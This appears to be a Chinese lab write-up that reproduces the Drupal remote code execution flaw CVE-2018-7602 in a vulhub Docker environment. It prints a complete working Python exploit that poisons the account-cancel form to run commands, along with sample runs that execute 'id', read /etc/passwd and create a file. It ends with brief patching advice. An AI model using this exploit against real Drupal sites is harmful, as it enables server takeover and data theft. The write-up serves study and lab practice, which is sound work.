🍬 博主介绍
👨🎓 博主介绍:大家好,我是 _PowerShell ,很高兴认识大家~
✨主攻领域:【渗透领域】【数据通信】 【通讯安全】 【web安全】【面试分析】
🎉点赞➕评论➕收藏 == 养成习惯(一键三连)😋
🎉欢迎关注💗一起学习👍一起讨论⭐️一起进步📝文末有彩蛋
🙏作者水平有限,欢迎各位大佬指点,相互学习进步!
CVE-2018-7602
Drupal 6.x版本
Drupal 7.x版本
Drupal 8.x版本
Drupal是使用PHP语言编写的开源内容管理框架(CMF),它由内容管理系统(CMS)和PHP开发框架(Framework)共同构成,在GPL2.0及更新协议下发布。连续多年荣获全球最佳CMS大奖,是基于PHP语言最著名的WEB应用程序。Drupal 6,7,8等多个子版本存在远程代码执行漏洞,攻击者可以利用Drupal网站漏洞,执行恶意代码,导致网站被完全控制。CVE-2018-7602这个漏洞是CVE-2018-7600的绕过利用,两个漏洞原理是一样的。
cd vulhub/confluence/CVE-2018-7602
docker-compose up -d
docker-compose ps
环境启动后,访问http://your-ip:8081,将会看到drupal的安装页面,一路默认配置下一步安装。
因为没有mysql环境,所以安装的时候可以选择sqlite数据库。
中文装不了就装英文
一直默认安装就行,然后数据库配置这一块儿选择SQLite
然后就会自动安装drupal
设置站点名称,登陆账号密码啥的
站点名称我就设置为powershell
邮箱随便设置,我设置了123@qq.com
账号我就设置为root,密码我就设置为123456了
安装完成,进入站点
自动登录进入了网站
cat README.md
复现完记得关闭环境
docker-compose down
POC下载地址:
https://download.csdn.net/download/qq_51577576/87453899
POC内容如下:
#!/usr/bin/env python3import requests
import argparse
from bs4 import BeautifulSoupdef get_args():parser = argparse.ArgumentParser( prog="drupa7-CVE-2018-7602.py",formatter_class=lambda prog: argparse.HelpFormatter(prog,max_help_position=50),epilog= '''This script will exploit the (CVE-2018-7602) vulnerability in Drupal 7 <= 7.58using an valid account and poisoning the cancel account form (user_cancel_confirm_form) with the 'destination' variable and triggering it with the upload file via ajax (/file/ajax).''')parser.add_argument("user", help="Username")parser.add_argument("password", help="Password")parser.add_argument("target", help="URL of target Drupal site (ex: http://target.com/)")parser.add_argument("-c", "--command", default="id", help="Command to execute (default = id)")parser.add_argument("-f", "--function", default="passthru", help="Function to use as attack vector (default = passthru)")parser.add_argument("-x", "--proxy", default="", help="Configure a proxy in the format http://127.0.0.1:8080/ (default = none)")args = parser.parse_args()return argsdef pwn_target(target, username, password, function, command, proxy):requests.packages.urllib3.disable_warnings()session = requests.Session()proxyConf = {'http': proxy, 'https': proxy}try:print('[*] Creating a session using the provided credential...')get_params = {'q':'user/login'}post_params = {'form_id':'user_login', 'name': username, 'pass' : password, 'op':'Log in'}print('[*] Finding User ID...')session.post(target, params=get_params, data=post_params, verify=False, proxies=proxyConf)get_params = {'q':'user'}r = session.get(target, params=get_params, verify=False, proxies=proxyConf)soup = BeautifulSoup(r.text, "html.parser")user_id = soup.find('meta', {'property': 'foaf:name'}).get('about')if ("?q=" in user_id):user_id = user_id.split("=")[1]if(user_id):print('[*] User ID found: ' + user_id)print('[*] Poisoning a form using \'destination\' and including it in cache.')get_params = {'q': user_id + '/cancel'}r = session.get(target, params=get_params, verify=False, proxies=proxyConf)soup = BeautifulSoup(r.text, "html.parser")form = soup.find('form', {'id': 'user-cancel-confirm-form'})form_token = form.find('input', {'name': 'form_token'}).get('value')get_params = {'q': user_id + '/cancel', 'destination' : user_id +'/cancel?q[%23post_render][]=' + function + '&q[%23type]=markup&q[%23markup]=' + command }post_params = {'form_id':'user_cancel_confirm_form','form_token': form_token, '_triggering_element_name':'form_id', 'op':'Cancel account'}r = session.post(target, params=get_params, data=post_params, verify=False, proxies=proxyConf)soup = BeautifulSoup(r.text, "html.parser")form = soup.find('form', {'id': 'user-cancel-confirm-form'})form_build_id = form.find('input', {'name': 'form_build_id'}).get('value')if form_build_id:print('[*] Poisoned form ID: ' + form_build_id)print('[*] Triggering exploit to execute: ' + command)get_params = {'q':'file/ajax/actions/cancel/#options/path/' + form_build_id}post_params = {'form_build_id':form_build_id}r = session.post(target, params=get_params, data=post_params, verify=False, proxies=proxyConf)parsed_result = r.text.split('[{"command":"settings"')[0]print(parsed_result)except:print("ERROR: Something went wrong.")raisedef main():print ()print ('===================================================================================')print ('| DRUPAL 7 <= 7.58 REMOTE CODE EXECUTION (SA-CORE-2018-004 / CVE-2018-7602) |')print ('| by pimps |')print ('===================================================================================\n')args = get_args() # get the cl argspwn_target(args.target.strip(),args.user.strip(),args.password.strip(), args.function.strip(), args.command.strip(), args.proxy.strip())if __name__ == '__main__':main()
python drupa7-CVE-2018-7602.py -c "id" root 123456 http://192.168.233.130:8081
root 为网站登录用户
123456为网站登录密码
python drupa7-CVE-2018-7602.py -c "cat ../../../../../etc/passwd" root 123456 http://192.168.233.130:8081
root 为网站登录用户
123456为网站登录密码
python drupa7-CVE-2018-7602.py -c "touch /tmp/powershell.txt" root 123456 http://192.168.233.130:8081
root 为网站登录用户
123456为网站登录密码
文件创建成功
docker-compose ps
docker exec -it e0d2ae21b097 /bin/bash
ls /tmp
可执行任意命令,前提需要拿到一个网站弱口令
升级Drupal为最新版本
1、docker 搭建 vulhub 靶场环境
2、[ vulhub漏洞复现篇 ] vulhub 漏洞集合 - 表格版本(含漏洞复现文章连接)
3、[ vulhub漏洞复现篇 ] vulhub 漏洞集合(含漏洞复现文章连接)